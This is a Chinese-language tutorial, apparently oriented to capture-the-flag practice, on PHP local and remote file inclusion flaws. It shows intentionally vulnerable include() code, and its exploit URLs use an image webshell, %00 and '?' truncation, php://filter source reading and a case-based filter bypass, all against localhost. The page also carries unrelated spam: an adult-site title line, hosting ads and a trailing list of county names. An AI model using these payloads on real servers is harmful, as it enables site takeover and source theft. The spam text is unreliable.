成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

文件包含漏洞之本地包含和遠(yuǎn)程包含-創(chuàng)新互聯(lián)

文件包含漏洞介紹:

目前創(chuàng)新互聯(lián)建站已為近1000家的企業(yè)提供了網(wǎng)站建設(shè)、域名、雅安服務(wù)器托管、網(wǎng)站托管、企業(yè)網(wǎng)站設(shè)計、措美網(wǎng)站維護(hù)等服務(wù),公司將堅持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。

  程序開發(fā)人員一般會把重復(fù)使用的函數(shù)寫到單個文件中,需要使用某個函數(shù)時直接調(diào)用此文件,而無需再次編寫,這中文件調(diào)用的過程一般被稱為文件包含。程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量,用來進(jìn)行動態(tài)調(diào)用,但正是由于這種靈活性,從而導(dǎo)致客戶端可以調(diào)用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設(shè)計的弊端。在PHP中經(jīng)常出現(xiàn)包含漏洞,但這并不意味這其他語言不存在。

漏洞成因:

  文件包含漏洞的產(chǎn)生原因是在通過引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經(jīng)過合理的校驗,或者校驗被繞過,從而操作了預(yù)想之外的文件,就 可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入。當(dāng)被包含的文件在服務(wù)器本地時,就形成的本地文件包含漏洞,被包涵的文件在第三方服務(wù)是,就形成了遠(yuǎn)程文件包 含漏洞。

漏洞危害:

    執(zhí)行惡意代碼、包含惡意文件控制網(wǎng)站、甚至控制網(wǎng)站服務(wù)器等。


本地包含漏洞:

代碼:

<?PHP $file=@$_GET['name']; if($file){ include $file; } ?>

    

以以上這個代碼為例:

訪問:http://127.0.0.1/fileupload/include.php?name=1.txt

  1. txt文件代碼為:

<?php phpinfo(); ?>

我們可以看到txt文件里的內(nèi)容以php文件的方式執(zhí)行了;如下圖所示:

文件包含漏洞之本地包含和遠(yuǎn)程包含

再看,如果訪問:http://127.0.0.1/fileupload/include.php?name=2.jpg

2.jpg是一個圖片的一句話***;

文件包含漏洞之本地包含和遠(yuǎn)程包含

用菜刀可以直接連接,也就是說不管后綴是什么樣,最后都會以php的形式執(zhí)行。


但是有時候會這樣,這個在ISCC國賽中遇到了,就是在最后會自動加入.php,非常煩人。

代碼2:

<?php     Include  $_GET['page'].".php" ?>

執(zhí)行結(jié)果如下圖:

文件包含漏洞之本地包含和遠(yuǎn)程包含

如果訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt

還是報錯。

文件包含漏洞之本地包含和遠(yuǎn)程包含

解決辦法:%00截斷

利用環(huán)境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)

訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt%00

文件包含漏洞之本地包含和遠(yuǎn)程包含


遠(yuǎn)程包含:

  遠(yuǎn)程的文件名不能為php可解析的擴(kuò)展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include為On才可以。

訪問:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt

文件包含漏洞之本地包含和遠(yuǎn)程包含

如果是遇到這種情況:

文件包含漏洞之本地包含和遠(yuǎn)程包含可以用“?”或者“%00”階段;

http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?


讀取源碼:php://filter/read=convert.base64-encode/resource=1.txt

http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt

讀取出來的是base64編碼的,進(jìn)行解碼就行了。

文件包含漏洞之本地包含和遠(yuǎn)程包含

php://input的用法

php://input

文件包含漏洞之本地包含和遠(yuǎn)程包含

偽協(xié)議繞過大小寫:

<?php          if(isset($_GET['f'])){         if(strpos($_GET['f'],"php") !== False){             die("error...");         }         else{             include($_GET['f'] . '.php');         }     }      ?>

http://127.0.0.1//index.php?f=pHP://filter/read=convert.base64-encode/resource=index

readfile讀取文件,不可以getshell

<?php  @readfile($_GET["file"]); ?>

總結(jié):這些在iscc的國賽賽中出現(xiàn)過,如果當(dāng)時會階段或者會讀取源碼,也就能獲獎了,學(xué)無止境,加油吧。


文件包含漏洞之本地包含和遠(yuǎn)程包含

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)cdcxhl.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價比高”等特點(diǎn)與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場景需求。

網(wǎng)站欄目:文件包含漏洞之本地包含和遠(yuǎn)程包含-創(chuàng)新互聯(lián)
文章分享:http://jinyejixie.com/article16/csoidg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站外貿(mào)建站、品牌網(wǎng)站建設(shè)、微信公眾號、網(wǎng)站營銷網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)
永昌县| 黔南| 石景山区| 察隅县| 隆安县| 满洲里市| 湘乡市| 榆社县| 大庆市| 临桂县| 普格县| 麻江县| 和平县| 高青县| 新野县| 昌平区| 阿克陶县| 阿坝县| 宜章县| 尚志市| 廊坊市| 黄龙县| 祁阳县| 扎赉特旗| 大荔县| 祁门县| 东莞市| 昌江| 怀集县| 霍州市| 蓬莱市| 保靖县| 兴仁县| 定边县| 平安县| 怀来县| 安新县| 肥乡县| 依兰县| 和林格尔县| 天祝|